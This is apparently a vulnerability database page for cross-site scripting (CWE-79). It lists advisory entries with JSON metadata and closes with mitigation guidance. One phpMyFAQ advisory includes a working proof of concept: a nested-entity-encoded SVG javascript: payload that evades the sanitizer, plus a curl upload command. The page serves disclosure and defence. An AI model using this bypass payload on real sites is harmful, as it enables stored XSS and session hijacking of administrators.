CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
67076 vulnerabilities reference this CWE, most recent first.
GHSA-WHMR-GH99-Q27W
Vulnerability from github – Published: 2025-11-11 06:30 – Updated: 2025-11-11 06:30The Ungapped Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'prefillvalues' parameter in the ungapped-form shortcode in all versions up to, and including, 1. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute when a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2025-12652"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T04:15:48Z",
"severity": "MODERATE"
},
"details": "The Ungapped Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u0027prefillvalues\u0027 parameter in the ungapped-form shortcode in all versions up to, and including, 1. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute when a user accesses an injected page.",
"id": "GHSA-whmr-gh99-q27w",
"modified": "2025-11-11T06:30:22Z",
"published": "2025-11-11T06:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12652"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ungapped-widgets/tags/1/ungapped-widgets-plugin.php#L38"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/25d0921b-39b1-4abb-9197-952fc55f80e6?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WHP8-H58W-R9JR
Vulnerability from github – Published: 2022-05-02 03:16 – Updated: 2022-05-02 03:16Cross-site scripting (XSS) vulnerability in Adobe RoboHelp Server 6 and 7 allows remote attackers to inject arbitrary web script or HTML via a crafted URL, which is not properly handled when displaying the Help Errors log.
{
"affected": [],
"aliases": [
"CVE-2009-0523"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-26T16:17:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in Adobe RoboHelp Server 6 and 7 allows remote attackers to inject arbitrary web script or HTML via a crafted URL, which is not properly handled when displaying the Help Errors log.",
"id": "GHSA-whp8-h58w-r9jr",
"modified": "2022-05-02T03:16:15Z",
"published": "2022-05-02T03:16:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0523"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/48890"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34048"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1021755"
},
{
"type": "WEB",
"url": "http://www.adobe.com/support/security/bulletins/apsb09-02.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/33887"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/0512"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WHPF-4G8G-HPPC
Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2023-02-24 21:30The wp-database-backup plugin before 4.3.1 for WordPress has XSS.
{
"affected": [],
"aliases": [
"CVE-2016-10875"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-12T15:15:00Z",
"severity": "MODERATE"
},
"details": "The wp-database-backup plugin before 4.3.1 for WordPress has XSS.",
"id": "GHSA-whpf-4g8g-hppc",
"modified": "2023-02-24T21:30:19Z",
"published": "2022-05-24T16:53:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10875"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wp-database-backup/#developers"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/9740"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WHPQ-FM42-QW57
Vulnerability from github – Published: 2023-03-07 00:30 – Updated: 2023-03-11 03:30Cross-site Scripting (XSS) - Stored in GitHub repository phpipam/phpipam prior to v1.5.2.
{
"affected": [],
"aliases": [
"CVE-2023-1212"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-07T00:15:00Z",
"severity": "MODERATE"
},
"details": "Cross-site Scripting (XSS) - Stored in GitHub repository phpipam/phpipam prior to v1.5.2.",
"id": "GHSA-whpq-fm42-qw57",
"modified": "2023-03-11T03:30:17Z",
"published": "2023-03-07T00:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1212"
},
{
"type": "WEB",
"url": "https://github.com/phpipam/phpipam/commit/78e0470100a6cb143fe9af2e336dce80e4620960"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/3d5199d6-9bb2-4f7b-bd81-bded704da499"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WHPX-FG6M-254M
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-05-24 19:17The Weather Effect WordPress plugin before 1.3.6 does not properly validate and escape some of its settings (like _size_leaf, _flakes_leaf, *_speed) which could lead to Stored Cross-Site Scripting issues
{
"affected": [],
"aliases": [
"CVE-2021-24709"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-11T11:15:00Z",
"severity": "MODERATE"
},
"details": "The Weather Effect WordPress plugin before 1.3.6 does not properly validate and escape some of its settings (like *_size_leaf, *_flakes_leaf, *_speed) which could lead to Stored Cross-Site Scripting issues",
"id": "GHSA-whpx-fg6m-254m",
"modified": "2022-05-24T19:17:12Z",
"published": "2022-05-24T19:17:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24709"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/df74ed76-af9e-47a8-9a4d-c5c57e9e0f91"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WHQ7-FHX8-MXR9
Vulnerability from github – Published: 2022-05-24 17:49 – Updated: 2022-05-24 17:49XSS in the client account page in SuiteCRM before 7.11.19 allows an attacker to inject JavaScript via the name field
{
"affected": [],
"aliases": [
"CVE-2021-31792"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-30T22:15:00Z",
"severity": "MODERATE"
},
"details": "XSS in the client account page in SuiteCRM before 7.11.19 allows an attacker to inject JavaScript via the name field",
"id": "GHSA-whq7-fhx8-mxr9",
"modified": "2022-05-24T17:49:23Z",
"published": "2022-05-24T17:49:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31792"
},
{
"type": "WEB",
"url": "https://chris-forbes.github.io/CVE-2021-31792"
},
{
"type": "WEB",
"url": "https://docs.suitecrm.com/admin/releases/7.11.x/#_7_11_19"
},
{
"type": "WEB",
"url": "https://github.com/salesagility/SuiteCRM"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WHQH-9PQ5-C7R3
Vulnerability from github – Published: 2026-05-06 20:18 – Updated: 2026-06-09 00:03Summary
The SvgSanitizer::decodeAllEntities() method limits recursive entity decoding to 5 iterations. By wrapping each character of javascript in an href attribute value with 5 levels of & encoding around numeric HTML entities (e.g., j for j), an attacker can bypass both isSafe() detection and sanitize() removal. The uploaded SVG is served from the application origin with image/svg+xml content type, and the browser's XML parser fully decodes the remaining &#NNN; entities, resulting in a clickable javascript: link that executes arbitrary JavaScript.
Details
Root cause: decodeAllEntities() at phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 limits entity decoding to maxIterations=5. Each iteration: (1) decodes &#NNN; numeric entities, (2) decodes &#xHH; hex entities, (3) calls html_entity_decode() which resolves one level of & → &. With 5 levels of & wrapping, all 5 iterations are consumed unwinding the & nesting, leaving the final &#NNN; numeric entities unresolved.
Code path:
- Authenticated user with
FAQ_EDITpermission uploads SVG viaPOST /admin/api/content/images(ImageController::upload()at line 39) - File extension is
svg→SvgSanitizer::isSafe()called (line 114) isSafe()callsdecodeAllEntities()— 5 iterations resolve&nesting but leaveja...(numeric entities forjavascript)- Pattern matching at line 47 (
/href\s*=\s*["\'][\s]*javascript\s*:/i) does not matchja... isSafe()returns true — file saved without any sanitization- SVG served directly by web server from
content/user/images/withimage/svg+xmlMIME type - Browser's XML parser decodes
j→j,a→a, etc., reconstructingjavascript:alert(document.domain) - User clicks the SVG link → JavaScript executes in the phpMyFAQ origin
The bypass is even simpler than initially described — no <script> decoy tag is needed. Since isSafe() itself is bypassed, the file is stored without sanitization and the sanitize() code path is never reached.
Relevant code in decodeAllEntities():
// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249
private function decodeAllEntities(string $content): string
{
$previous = '';
$decoded = $content;
$maxIterations = 5; // <-- insufficient for 5 levels of & + numeric entity
while ($decoded !== $previous && $maxIterations-- > 0) {
$previous = $decoded;
// Step 1: Decode decimal entities (j → j)
$decoded = preg_replace_callback('/&#(\d+);/', ...);
// Step 2: Decode hex entities (j → j)
$decoded = preg_replace_callback('/&#x([0-9a-fA-F]+);/', ...);
// Step 3: Decode named HTML entities (& → &)
$decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
// After 5 iterations with 5 & levels: j remains undecoded
return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', '', $decoded);
}
PoC
Upload an SVG file containing a javascript: href where each character of javascript is entity-encoded with 5 levels of & nesting around numeric entities. No <script> decoy is required — isSafe() itself is bypassed.
Step 1: Create malicious SVG file (xss.svg):
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
<a href="&amp;amp;amp;amp;#106;&amp;amp;amp;amp;#97;&amp;amp;amp;amp;#118;&amp;amp;amp;amp;#97;&amp;amp;amp;amp;#115;&amp;amp;amp;amp;#99;&amp;amp;amp;amp;#114;&amp;amp;amp;amp;#105;&amp;amp;amp;amp;#112;&amp;amp;amp;amp;#116;:alert(document.domain)">
<circle cx="100" cy="100" r="80" fill="red"/>
<text x="100" y="110" text-anchor="middle" fill="white" font-size="20">Click me</text>
</a>
</svg>
Step 2: Upload via admin image upload endpoint:
curl -b 'session_cookie' \
-F "files[]=@xss.svg" \
"https://TARGET/admin/api/content/images?csrf=VALID_TOKEN"
Expected response: {"success": true, ...} with the uploaded file URL.
Step 3: Access the uploaded SVG directly:
https://TARGET/content/user/images/1712345678_xss.svg
The browser renders the SVG as image/svg+xml. The XML parser decodes j → j, a → a, etc., producing href="javascript:alert(document.domain)". Clicking the red circle executes JavaScript in the phpMyFAQ origin.
Impact
- Stored XSS: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin.
- Session hijacking: Attacker can steal session cookies and CSRF tokens of other admins.
- Privilege escalation: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control.
- Data exfiltration: Access to all FAQ content, user data, and configuration accessible through the admin interface.
The blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.
Recommended Fix
The root cause is that decodeAllEntities() can be exhausted by deeply nested & encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:
// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities()
private function decodeAllEntities(string $content): string
{
$previous = '';
$decoded = $content;
$maxIterations = 10; // Increase from 5 to handle deeper nesting
while ($decoded !== $previous && $maxIterations-- > 0) {
$previous = $decoded;
$decoded = preg_replace_callback(
'/&#(\d+);/',
static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
$decoded,
);
$decoded = preg_replace_callback(
'/&#x([0-9a-fA-F]+);/',
static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
$decoded,
);
$decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8');
}
// Safety net: if the loop exited due to iteration limit, do a final
// numeric/hex entity decode pass to catch any remaining &#NNN; entities
$decoded = preg_replace_callback(
'/&#(\d+);/',
static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
$decoded,
);
$decoded = preg_replace_callback(
'/&#x([0-9a-fA-F]+);/',
static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
$decoded,
);
return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', replacement: '', subject: $decoded);
}
Additionally, consider serving uploaded SVG files with Content-Disposition: attachment or Content-Type: application/octet-stream to prevent browser rendering, as a defense-in-depth measure.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46360"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T20:18:48Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `SvgSanitizer::decodeAllEntities()` method limits recursive entity decoding to 5 iterations. By wrapping each character of `javascript` in an `href` attribute value with 5 levels of `\u0026amp;` encoding around numeric HTML entities (e.g., `\u0026amp;amp;amp;amp;amp;#106;` for `j`), an attacker can bypass both `isSafe()` detection and `sanitize()` removal. The uploaded SVG is served from the application origin with `image/svg+xml` content type, and the browser\u0027s XML parser fully decodes the remaining `\u0026#NNN;` entities, resulting in a clickable `javascript:` link that executes arbitrary JavaScript.\n\n## Details\n\n**Root cause:** `decodeAllEntities()` at `phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249` limits entity decoding to `maxIterations=5`. Each iteration: (1) decodes `\u0026#NNN;` numeric entities, (2) decodes `\u0026#xHH;` hex entities, (3) calls `html_entity_decode()` which resolves one level of `\u0026amp;` \u2192 `\u0026`. With 5 levels of `\u0026amp;` wrapping, all 5 iterations are consumed unwinding the `\u0026amp;` nesting, leaving the final `\u0026#NNN;` numeric entities unresolved.\n\n**Code path:**\n\n1. Authenticated user with `FAQ_EDIT` permission uploads SVG via `POST /admin/api/content/images` (`ImageController::upload()` at line 39)\n2. File extension is `svg` \u2192 `SvgSanitizer::isSafe()` called (line 114)\n3. `isSafe()` calls `decodeAllEntities()` \u2014 5 iterations resolve `\u0026amp;` nesting but leave `\u0026#106;\u0026#97;...` (numeric entities for `javascript`)\n4. Pattern matching at line 47 (`/href\\s*=\\s*[\"\\\u0027][\\s]*javascript\\s*:/i`) does **not** match `\u0026#106;\u0026#97;...`\n5. `isSafe()` returns **true** \u2014 file saved **without any sanitization**\n6. SVG served directly by web server from `content/user/images/` with `image/svg+xml` MIME type\n7. Browser\u0027s XML parser decodes `\u0026#106;` \u2192 `j`, `\u0026#97;` \u2192 `a`, etc., reconstructing `javascript:alert(document.domain)`\n8. User clicks the SVG link \u2192 JavaScript executes in the phpMyFAQ origin\n\nThe bypass is even simpler than initially described \u2014 no `\u003cscript\u003e` decoy tag is needed. Since `isSafe()` itself is bypassed, the file is stored without sanitization and the `sanitize()` code path is never reached.\n\n**Relevant code in `decodeAllEntities()`:**\n\n```php\n// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249\nprivate function decodeAllEntities(string $content): string\n{\n $previous = \u0027\u0027;\n $decoded = $content;\n $maxIterations = 5; // \u003c-- insufficient for 5 levels of \u0026amp; + numeric entity\n\n while ($decoded !== $previous \u0026\u0026 $maxIterations-- \u003e 0) {\n $previous = $decoded;\n // Step 1: Decode decimal entities (\u0026#106; \u2192 j)\n $decoded = preg_replace_callback(\u0027/\u0026#(\\d+);/\u0027, ...);\n // Step 2: Decode hex entities (\u0026#x6A; \u2192 j)\n $decoded = preg_replace_callback(\u0027/\u0026#x([0-9a-fA-F]+);/\u0027, ...);\n // Step 3: Decode named HTML entities (\u0026amp; \u2192 \u0026)\n $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, \u0027UTF-8\u0027);\n }\n // After 5 iterations with 5 \u0026amp; levels: \u0026#106; remains undecoded\n return preg_replace(\u0027/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/\u0027, \u0027\u0027, $decoded);\n}\n```\n\n## PoC\n\nUpload an SVG file containing a `javascript:` href where each character of `javascript` is entity-encoded with 5 levels of `\u0026amp;` nesting around numeric entities. No `\u003cscript\u003e` decoy is required \u2014 `isSafe()` itself is bypassed.\n\n**Step 1: Create malicious SVG file (`xss.svg`):**\n\n```xml\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 200 200\"\u003e\n \u003ca href=\"\u0026amp;amp;amp;amp;amp;#106;\u0026amp;amp;amp;amp;amp;#97;\u0026amp;amp;amp;amp;amp;#118;\u0026amp;amp;amp;amp;amp;#97;\u0026amp;amp;amp;amp;amp;#115;\u0026amp;amp;amp;amp;amp;#99;\u0026amp;amp;amp;amp;amp;#114;\u0026amp;amp;amp;amp;amp;#105;\u0026amp;amp;amp;amp;amp;#112;\u0026amp;amp;amp;amp;amp;#116;:alert(document.domain)\"\u003e\n \u003ccircle cx=\"100\" cy=\"100\" r=\"80\" fill=\"red\"/\u003e\n \u003ctext x=\"100\" y=\"110\" text-anchor=\"middle\" fill=\"white\" font-size=\"20\"\u003eClick me\u003c/text\u003e\n \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n**Step 2: Upload via admin image upload endpoint:**\n\n```bash\ncurl -b \u0027session_cookie\u0027 \\\n -F \"files[]=@xss.svg\" \\\n \"https://TARGET/admin/api/content/images?csrf=VALID_TOKEN\"\n```\n\nExpected response: `{\"success\": true, ...}` with the uploaded file URL.\n\n**Step 3: Access the uploaded SVG directly:**\n\n```\nhttps://TARGET/content/user/images/1712345678_xss.svg\n```\n\nThe browser renders the SVG as `image/svg+xml`. The XML parser decodes `\u0026#106;` \u2192 `j`, `\u0026#97;` \u2192 `a`, etc., producing `href=\"javascript:alert(document.domain)\"`. Clicking the red circle executes JavaScript in the phpMyFAQ origin.\n\n## Impact\n\n- **Stored XSS**: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin.\n- **Session hijacking**: Attacker can steal session cookies and CSRF tokens of other admins.\n- **Privilege escalation**: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control.\n- **Data exfiltration**: Access to all FAQ content, user data, and configuration accessible through the admin interface.\n\nThe blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.\n\n## Recommended Fix\n\nThe root cause is that `decodeAllEntities()` can be exhausted by deeply nested `\u0026amp;` encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities()\nprivate function decodeAllEntities(string $content): string\n{\n $previous = \u0027\u0027;\n $decoded = $content;\n $maxIterations = 10; // Increase from 5 to handle deeper nesting\n\n while ($decoded !== $previous \u0026\u0026 $maxIterations-- \u003e 0) {\n $previous = $decoded;\n $decoded = preg_replace_callback(\n \u0027/\u0026#(\\d+);/\u0027,\n static fn(array $matches): string =\u003e mb_chr((int) $matches[1], encoding: \u0027UTF-8\u0027),\n $decoded,\n );\n $decoded = preg_replace_callback(\n \u0027/\u0026#x([0-9a-fA-F]+);/\u0027,\n static fn(array $matches): string =\u003e mb_chr(hexdec($matches[1]), encoding: \u0027UTF-8\u0027),\n $decoded,\n );\n $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: \u0027UTF-8\u0027);\n }\n\n // Safety net: if the loop exited due to iteration limit, do a final\n // numeric/hex entity decode pass to catch any remaining \u0026#NNN; entities\n $decoded = preg_replace_callback(\n \u0027/\u0026#(\\d+);/\u0027,\n static fn(array $matches): string =\u003e mb_chr((int) $matches[1], encoding: \u0027UTF-8\u0027),\n $decoded,\n );\n $decoded = preg_replace_callback(\n \u0027/\u0026#x([0-9a-fA-F]+);/\u0027,\n static fn(array $matches): string =\u003e mb_chr(hexdec($matches[1]), encoding: \u0027UTF-8\u0027),\n $decoded,\n );\n\n return preg_replace(\u0027/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/\u0027, replacement: \u0027\u0027, subject: $decoded);\n}\n```\n\nAdditionally, consider serving uploaded SVG files with `Content-Disposition: attachment` or `Content-Type: application/octet-stream` to prevent browser rendering, as a defense-in-depth measure.",
"id": "GHSA-whqh-9pq5-c7r3",
"modified": "2026-06-09T00:03:40Z",
"published": "2026-05-06T20:18:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-whqh-9pq5-c7r3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46360"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/phpmyfaq-stored-xss-via-entity-decoding-depth-limit-bypass-in-svg-sanitizer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ has a SVG Sanitizer Entity Decoding Depth Limit Bypass Leading to Stored XSS"
}
GHSA-WHQJ-VXH6-H4WX
Vulnerability from github – Published: 2025-11-07 21:31 – Updated: 2025-11-07 21:31IBM Sterling B2B Integrator 6.0.0.0 through 6.1.2.7_1, 6.2.0.0 through 6.2.0.5, and 6.2.1.0 and IBM Sterling File Gateway 6.0.0.0 through 6.1.2.7_1, 6.2.0.0 through 6.2.0.5, and 6.2.1.0 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.
{
"affected": [],
"aliases": [
"CVE-2025-36135"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-07T19:16:24Z",
"severity": "MODERATE"
},
"details": "IBM Sterling B2B Integrator 6.0.0.0 through 6.1.2.7_1, 6.2.0.0 through 6.2.0.5, and 6.2.1.0 and IBM Sterling File Gateway 6.0.0.0 through 6.1.2.7_1, 6.2.0.0 through 6.2.0.5, and 6.2.1.0 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.",
"id": "GHSA-whqj-vxh6-h4wx",
"modified": "2025-11-07T21:31:20Z",
"published": "2025-11-07T21:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36135"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7250509"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WHQQ-33PM-2P9F
Vulnerability from github – Published: 2023-11-30 18:31 – Updated: 2026-04-28 21:33Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in gVectors Team wpForo Forum allows Stored XSS.This issue affects wpForo Forum: from n/a through 2.2.3.
{
"affected": [],
"aliases": [
"CVE-2023-47872"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-30T17:15:10Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in gVectors Team wpForo Forum allows Stored XSS.This issue affects wpForo Forum: from n/a through 2.2.3.",
"id": "GHSA-whqq-33pm-2p9f",
"modified": "2026-04-28T21:33:16Z",
"published": "2023-11-30T18:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47872"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wpforo/wordpress-wpforo-plugin-2-2-3-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WHQQ-5QX6-VWWF
Vulnerability from github – Published: 2024-10-16 09:30 – Updated: 2024-10-16 09:30The Product Vendors is vulnerable to Reflected Cross-Site Scripting via the 'vendor_description' parameter in versions up to, and including, 2.0.35 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2017-20193"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-16T08:15:03Z",
"severity": "MODERATE"
},
"details": "The Product Vendors is vulnerable to Reflected Cross-Site Scripting via the \u0027vendor_description\u0027 parameter in versions up to, and including, 2.0.35 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.",
"id": "GHSA-whqq-5qx6-vwwf",
"modified": "2024-10-16T09:30:31Z",
"published": "2024-10-16T09:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20193"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/253313"
},
{
"type": "WEB",
"url": "https://threatpost.com/reflected-xss-bug-patched-in-popular-woocommerce-wordpress-plugin/127744"
},
{
"type": "WEB",
"url": "https://woocommerce.com/products/product-vendors"
},
{
"type": "WEB",
"url": "https://www.majemedia.com/2017/09/xss-vulnerability-in-woocommerce-product-vendors-plugin"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a224e745-f9c7-4ca6-b656-e94862b1dc57?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
